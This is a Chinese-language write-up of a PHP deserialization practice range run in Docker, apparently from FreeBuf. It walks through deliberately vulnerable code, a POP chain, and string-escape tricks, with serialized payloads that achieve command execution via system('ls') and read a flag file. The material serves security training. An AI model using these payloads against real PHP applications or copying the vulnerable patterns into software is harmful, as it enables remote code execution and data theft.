s0l4r
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
1 环境配置
靶场:橙子科技反序列化靶场
拉取镜像
$sudo docker pull mcc0624/ser:1.8
运行
$sudo docker run -p 8080:80 -d mcc0624/ser:1.8
访问8080端口,验证是否搭建成功
2 靶场WP
0x06 反序列化漏洞例题
源码如下
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $a = 'echo "this is test!!";';
public function displayVar() {
eval($this->a);
}
}
$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;
?>
漏洞成因:unserialize直接反序列化未过滤输入,若能够控制成员$a,可实现php代码执行
利用脚本
<?php
class test{
public $a = "system('ls');";
}
echo serialize(new test());
?>
运行后结果为O:4:"test":1:{s:1:"a";s:13:"system('ls');";}
,作为参数传递,成功实现命令执行
注意:eval函数接收php代码,必须以分号结尾,否则无法成功执行
0x13 POP链例题
pop链构造常规思路:从链尾开始追,直到找到可以利用的入口点
入口常用方法:__wakeup, __construct, __deconstruct, __toString
链中常用方法:__toString, __get/set, __invoke, __call
链尾方法:调用php敏感函数的方法,如file_get_contents, highlightfile, system, exec, eval, assert等
例题代码如下
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
追溯流程
Modifier.append()存在文件包含,控制$value='flag.php'可以实现flag输出
Modifier.__invoke()调用Modifier.append(),控制$var="flag.php"可以触发后续链输出flag
private成员变量修改时格式为\x00类名\x00成员变量名
Test.__get()中调用$function(),若$function为Modifier类,可触发__invoke方法,控制变量$p=new Modifier()
Show.__toString()中访问$this->str->source,若$this->str为Test类,可触发__get方法(访问不存在的成员source)
Show.__wakeup()中echo输出$this->source,若$this->source为Show类,可触发__toString方法(被作为字符串使用)
至此,链子梳理完毕,构造代码如下
<?php
class Modifier{
private $var="flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$m = new Modifier();
$t = new Test();
$t->p = $m;
$s = new Show();
$s->str = $t;
$s->source = $s;
echo serialize($s);
?>
输出结果为O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"Modifiervar";s:8:"flag.php";}}}
注意:\x00为不可见字符,传递时url编码%00,故最终payload为O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
得到flag
0x14+0x17 字符逃逸(字符减少)
字符逃逸:php反序列化字符串时根据序列化字符串中字符个数标识识别成员变量的值,如s:1:"a",将"后面的1位识别为值,因此存在如s:1:"a";s:1:"1""时的错位识别。由于php反序列化时以";}识别结束位置,二者配合,构造恶意序列化字符串造成危害
例题代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '123';
public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>
可以看到,将system()字符串替换为空,可以逃逸8个字节
正常反序列化时,传入v1=system()&v2=2,结果为O:1:"A":2:{s:2:"v1";s:8:"";s:2:"v2";s:1:"2";}
,出现错位情况
需要逃逸的字符串为17个,因此修改v1为system()system()system(),v2设置为1111111";s:2:"v2";s:1:"1";},其中1*7作为padding填充,因为3*system()可以逃逸出24个,避免覆盖要修改的变量,实现逃逸,覆盖v2的值,最终结果如下,v2被识别为1
基于该思路,0x17中覆盖$profile->vip=1,可实现get flag
flag可逃逸2字符,php可逃逸1字符,最终需要逃逸19个字符
payload为user='flag'*10&pass=1";s:4:"pass";s:1:"1";s:3:"vip";s:1:"1";},获取flag
0x15+0x16 字符逃逸(字符增加)
思路同字符减少一致,区别在于利用位置在增加的字段里
例题代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
public $v1 = 'ls';
public $v2 = '123';
public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("ls","pwd",$data);
var_dump(unserialize($data));
?>
每次可以逃逸1个字节,正常反序列化时,传入v1=lsls&v2=1,结果为O:1:"A":2:{s:2:"v1";s:6:"pwdpwdpwd";s:2:"v2";s:1:"1";}
产生错位
逃逸字符22个,构造payload为v1='ls'*22+";s:2:"v2";s:3:"abc";}&v2=1,最终v2被覆盖为abc
0x17同理,php可逃逸1字符,确保pass为escaping可get flag,逃逸个数为29
payload为param='php'*29+";s:4:"pass";s:8:"escaping";}
获取flag
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)